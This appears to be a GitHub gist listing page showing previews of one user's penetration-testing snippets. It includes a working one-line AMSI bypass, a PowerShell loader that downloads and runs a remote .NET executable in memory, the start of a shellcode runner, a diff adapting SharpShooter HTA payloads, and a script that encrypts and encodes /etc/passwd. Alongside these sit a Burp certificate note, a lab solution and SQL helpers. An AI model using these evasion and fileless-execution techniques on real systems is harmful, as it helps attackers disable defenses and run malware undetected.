Skip to content

Instantly share code, notes, and snippets.

View FrankSpierings's full-sized avatar

Frank Spierings FrankSpierings

57 followers · 1 following
View GitHub Profile
@FrankSpierings
FrankSpierings / BurpCAMagiskRooted.md
Created July 25, 2022 10:08
Install Burp CA Certificate on Magisk Rooted Device

Magisk Module

  • Use the modified Magisk module to install the certificate in both the user and the system store.
git clone https://github.com/Magisk-Modules-Repo/movecert.git
@FrankSpierings
FrankSpierings / lab-request-smuggling-h2-request-splitting-via-crlf-injection-solution.py
Created July 21, 2022 07:22
Python3 solution to Portswigger's Lab; HTTP/2 request splitting via CRLF injection
# Thanks to h2 for the example code and thanks to Portswigger for the awesome free labs!
# - https://python-hyper.org/projects/h2/en/stable/plain-sockets-example.html
# - https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection
#
import socket
import ssl
import h2.connection
import h2.events
@FrankSpierings
FrankSpierings / dinvoke-shellcode.cs
Last active December 25, 2024 07:04
D/Invoke Shellcode Runner
/*
- Compile: docker run --rm -it -v /tmp/data:/tmp/data mono csc /tmp/data/dinvoke-shellcode.cs -out:/tmp/data/dinvoke-shellcode.exe /platform:x64 /unsafe
- Reference (Thanks!) : https://jhalon.github.io/utilizing-syscalls-in-csharp-1/
*/
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.ComponentModel;
using Microsoft.Win32;
@FrankSpierings
FrankSpierings / Invoke-SQLCmd.ps1
Last active November 18, 2022 16:54
Very basic Powershell script to execute a SQL Query and show the result in a GridView
function Invoke-SQLCmd {
param(
[Parameter(Mandatory=$True)]
[string] $Server,
[Parameter(Mandatory=$True)]
[string] $Database,
[Parameter(Mandatory=$True)]
[string] $Query
);
@FrankSpierings
FrankSpierings / sharpshooter-hta.diff
Last active December 8, 2021 19:16
Make HTA's work on Windows 10
diff --git a/SharpShooter.py b/SharpShooter.py
index 9b10de1..50cece0 100644
--- a/SharpShooter.py
+++ b/SharpShooter.py
@@ -286,7 +286,7 @@ End Sub"""
raise Exception
if(payload_type == 1):
- if(args.comtechnique):
+ if(args.comtechnique or args.dotnetver == str(4)):
@FrankSpierings
FrankSpierings / dynamic-main-load-executable-main.ps1
Last active March 9, 2022 16:42
Load the main of an executable from a remote server, without touching disk.
$url = "http://server/dotnetexecutable"
$data = (New-Object System.Net.WebClient).DownloadData($url);
$assem = [System.Reflection.Assembly]::Load($data);
$main = $assem.EntryPoint
$main.Invoke(0, @(,[string[]]@("args0")));
@FrankSpierings
FrankSpierings / AMSI-disable.ps1
Created December 3, 2021 12:29
[Runtime.InteropServices.Marshal]::Copy([Int32[]]@(0), 0,(([Ref].Assembly.GetTypes()|?{$_.Name -like "*iUtils"}).GetFields('NonPublic,Static')|?{$_.Name -match "Context"}).GetValue($null), 1)
@FrankSpierings
FrankSpierings / shift-refactor-playground.js
Created September 5, 2021 12:22
Shift-refactor playground
const { refactor } = require('shift-refactor');
const { commonMethods } = require('refactor-plugin-common');
const Shift = require('shift-ast');
const fs = require('fs');
const src = `
var a = "aap";
function foo() {
function bar() {
@FrankSpierings
FrankSpierings / sql-query-ps-oneliner.ps1
Last active July 14, 2021 12:42
PowerShell Oneliner to perform database queries.
powershell "$sql='SELECT @@VERSION';$c=(New-Object -TypeName System.Data.SqlClient.SqlConnection('server=SERVER;Database=DATABASE;Integrated Security=True;'));$c.open();$q=(New-Object System.Data.SqlClient.SqlCommand($sql,$c));$r=$q.ExecuteReader();$oo=@();while ($r.Read()){$o=(New-Object PSObject);for ($i=0;$i -lt $r.FieldCount;$i++){$n=$r.GetName($i);if($n -eq ''){$n='column_'+$i};$o|Add-Member -type NoteProperty -Name $n -Value $r[$i];}$oo+=$o};$oo|FT -Wrap"
@FrankSpierings
FrankSpierings / read-file-aesencrypt-base54.ps1
Created July 12, 2021 08:20
Read file, encrypt and base64
$filepath = "/etc/passwd"
$fs = New-Object IO.FileStream($filepath, [System.IO.FileMode]::Open);
$ms = New-Object System.IO.MemoryStream;
$aes = [System.Security.Cryptography.Aes]::Create();
$aes.keysize = 128;
Write-Host "Key: " (($aes.Key |% ToString X2) -join '');
Write-Host "IV: " (($aes.IV |% ToString X2) -join '');
Write-Host "Mode: " $aes.mode
$cs = New-Object System.Security.Cryptography.CryptoStream($ms, $aes.CreateEncryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write);
$fs.CopyTo($cs);